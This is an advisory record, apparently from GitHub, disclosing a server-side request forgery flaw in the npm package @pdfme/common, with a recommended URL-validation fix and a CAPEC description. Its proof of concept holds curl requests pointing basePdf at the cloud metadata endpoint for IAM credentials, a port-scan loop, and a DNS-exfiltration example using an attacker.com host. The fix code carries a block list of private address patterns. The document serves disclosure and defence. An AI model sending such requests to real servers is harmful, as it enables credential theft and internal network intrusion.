/^\[fe80:/i,
];
function validatePdfUrl(urlString: string): void {
let parsed: URL;
try {
parsed = new URL(urlString);
} catch {
throw new Error(`Invalid basePdf URL: ${urlString}`);
}
if (parsed.protocol !== 'https:' && parsed.protocol !== 'http:') {
throw new Error(`basePdf URL must use http or https protocol, got: ${parsed.protocol}`);
}
const hostname = parsed.hostname;
for (const pattern of BLOCKED_HOSTNAME_PATTERNS) {
if (pattern.test(hostname)) {
throw new Error(`basePdf URL must not point to private/reserved addresses`);
}
}
}
export const getB64BasePdf = async (
customPdf: ArrayBuffer | Uint8Array | string,
): Promise<string> => {
if (
typeof customPdf === 'string' &&
!customPdf.startsWith('data:application/pdf;') &&
typeof window !== 'undefined'
) {
validatePdfUrl(customPdf); // <-- Add validation before fetch
const response = await fetch(customPdf);
const blob = await response.blob();
return blob2Base64Pdf(blob);
}
// ...
};
Additionally, consider documenting the security implications of passing user-controlled data as basePdf and providing an option for applications to supply their own URL validator or allowlist.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.5.9"
},
"package": {
"ecosystem": "npm",
"name": "@pdfme/common"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.5.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-20T20:45:17Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `getB64BasePdf` function in `@pdfme/common` fetches arbitrary URLs via `fetch()` without any validation when `basePdf` is a non-data-URI string and `window` is defined. An attacker who can control the `basePdf` field of a template (e.g., through a web application that accepts user-supplied templates) can force the server or client to make requests to arbitrary internal or external endpoints, enabling Server-Side Request Forgery (SSRF) in SSR contexts or blind request forgery in browser contexts.\n\n## Details\n\nThe vulnerability exists in `packages/common/src/helper.ts:130-141`. When `getB64BasePdf` receives a string that does not start with `data:application/pdf;`, and `window` is defined, it passes the string directly to `fetch()`:\n\n```typescript\n// packages/common/src/helper.ts:130-141\nexport const getB64BasePdf = async (\n customPdf: ArrayBuffer | Uint8Array | string,\n): Promise\u003cstring\u003e =\u003e {\n if (\n typeof customPdf === \u0027string\u0027 \u0026\u0026\n !customPdf.startsWith(\u0027data:application/pdf;\u0027) \u0026\u0026\n typeof window !== \u0027undefined\u0027\n ) {\n const response = await fetch(customPdf); // \u003c-- No URL validation\n const blob = await response.blob();\n return blob2Base64Pdf(blob);\n }\n // ...\n};\n```\n\nThe Zod schema for `basePdf` in `packages/common/src/schema.ts:133-135` accepts any string:\n\n```typescript\nexport const CustomPdf = z.union([z.string(), ArrayBufferSchema, Uint8ArraySchema]);\nexport const BasePdf = z.union([CustomPdf, BlankPdf]);\n```\n\nThe `checkGenerateProps` function at `packages/common/src/helper.ts:279` only validates the Zod schema shape, which permits any string value. No URL allowlist, protocol restriction, or private IP filtering exists anywhere in the pipeline.\n\nThis function is called from multiple entry points:\n- `packages/generator/src/helper.ts:42` \u2014 during PDF generation\n- `packages/ui/src/hooks.ts:67` \u2014 during UI rendering\n- `packages/ui/src/helper.ts:292` \u2014 during template processing\n\nThe `typeof window !== \u0027undefined\u0027` guard is commonly satisfied in SSR environments (Next.js, Nuxt with jsdom, Cloudflare Workers) where `window` is polyfilled but `fetch` has full network access without CORS restrictions.\n\n## PoC\n\n### 1. Setup a vulnerable application\n\n```javascript\n// server.js \u2014 Next.js API route or Express handler using pdfme\nimport { generate } from \u0027@pdfme/generator\u0027;\n\nexport async function POST(req) {\n const { template, inputs } = await req.json();\n // Application accepts user-provided templates\n const pdf = await generate({ template, inputs, plugins: {} });\n return new Response(pdf);\n}\n```\n\n### 2. Probe internal services via SSRF\n\n```bash\n# Attacker sends a template with basePdf pointing to an internal service\ncurl -X POST http://target-app.com/api/generate-pdf \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"template\": {\n \"basePdf\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\",\n \"schemas\": [[]]\n },\n \"inputs\": [{}]\n }\u0027\n```\n\n### 3. Port scanning internal network\n\n```bash\n# Scan internal hosts by observing response timing differences\nfor port in 80 443 3306 5432 6379 8080; do\n curl -s -o /dev/null -w \"%{time_total}\" -X POST http://target-app.com/api/generate-pdf \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \"{\n \\\"template\\\": {\n \\\"basePdf\\\": \\\"http://10.0.0.1:${port}/\\\",\n \\\"schemas\\\": [[]]\n },\n \\\"inputs\\\": [{}]\n }\"\n echo \" - port $port\"\ndone\n```\n\n### 4. Exfiltrate cloud metadata (AWS example)\n\n```bash\n# In SSR context, fetch reads the full response body and converts to base64\ncurl -X POST http://target-app.com/api/generate-pdf \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"template\": {\n \"basePdf\": \"http://169.254.169.254/latest/meta-data/\",\n \"schemas\": [[]]\n },\n \"inputs\": [{}]\n }\u0027\n# The fetch will succeed; the response will fail PDF parsing,\n# but error messages or timing differences leak information\n```\n\n## Impact\n\n- **Cloud metadata exfiltration**: In SSR deployments on AWS/GCP/Azure, attackers can reach instance metadata endpoints (`169.254.169.254`) to steal IAM credentials, API tokens, and service account keys.\n- **Internal network reconnaissance**: Attackers can probe internal services, discover open ports, and map network topology by observing response timing and error differences.\n- **Internal service access**: Requests to internal APIs (databases, caches, admin panels) that are not exposed to the internet but accessible from the server.\n- **Blind request forgery in browsers**: Even with CORS restrictions limiting response reading, attackers can trigger state-changing requests to internal services (GET-based actions, webhook triggers).\n- **Data exfiltration via DNS**: Attackers can use DNS-based exfiltration by crafting URLs like `http://\u003cstolen-data\u003e.attacker.com` to leak information even when responses are not readable.\n\n## Recommended Fix\n\nAdd URL validation in `getB64BasePdf` before calling `fetch()`. At minimum, restrict to HTTPS and block private/reserved IP ranges:\n\n```typescript\n// packages/common/src/helper.ts\n\nconst BLOCKED_HOSTNAME_PATTERNS = [\n /^localhost$/i,\n /^127\\./,\n /^10\\./,\n /^172\\.(1[6-9]|2\\d|3[01])\\./,\n /^192\\.168\\./,\n /^169\\.254\\./,\n /^0\\./,\n /^\\[::1\\]/,\n /^\\[fc/i,\n /^\\[fd/i,\n /^\\[fe80:/i,\n];\n\nfunction validatePdfUrl(urlString: string): void {\n let parsed: URL;\n try {\n parsed = new URL(urlString);\n } catch {\n throw new Error(`Invalid basePdf URL: ${urlString}`);\n }\n\n if (parsed.protocol !== \u0027https:\u0027 \u0026\u0026 parsed.protocol !== \u0027http:\u0027) {\n throw new Error(`basePdf URL must use http or https protocol, got: ${parsed.protocol}`);\n }\n\n const hostname = parsed.hostname;\n for (const pattern of BLOCKED_HOSTNAME_PATTERNS) {\n if (pattern.test(hostname)) {\n throw new Error(`basePdf URL must not point to private/reserved addresses`);\n }\n }\n}\n\nexport const getB64BasePdf = async (\n customPdf: ArrayBuffer | Uint8Array | string,\n): Promise\u003cstring\u003e =\u003e {\n if (\n typeof customPdf === \u0027string\u0027 \u0026\u0026\n !customPdf.startsWith(\u0027data:application/pdf;\u0027) \u0026\u0026\n typeof window !== \u0027undefined\u0027\n ) {\n validatePdfUrl(customPdf); // \u003c-- Add validation before fetch\n const response = await fetch(customPdf);\n const blob = await response.blob();\n return blob2Base64Pdf(blob);\n }\n // ...\n};\n```\n\nAdditionally, consider documenting the security implications of passing user-controlled data as `basePdf` and providing an option for applications to supply their own URL validator or allowlist.",
"id": "GHSA-pgx6-7jcq-2qff",
"modified": "2026-03-20T20:45:17Z",
"published": "2026-03-20T20:45:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pdfme/pdfme/security/advisories/GHSA-pgx6-7jcq-2qff"
},
{
"type": "PACKAGE",
"url": "https://github.com/pdfme/pdfme"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "PDFME has SSRF via Unvalidated URL Fetch in `getB64BasePdf` When `basePdf` Is Attacker-Controlled"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.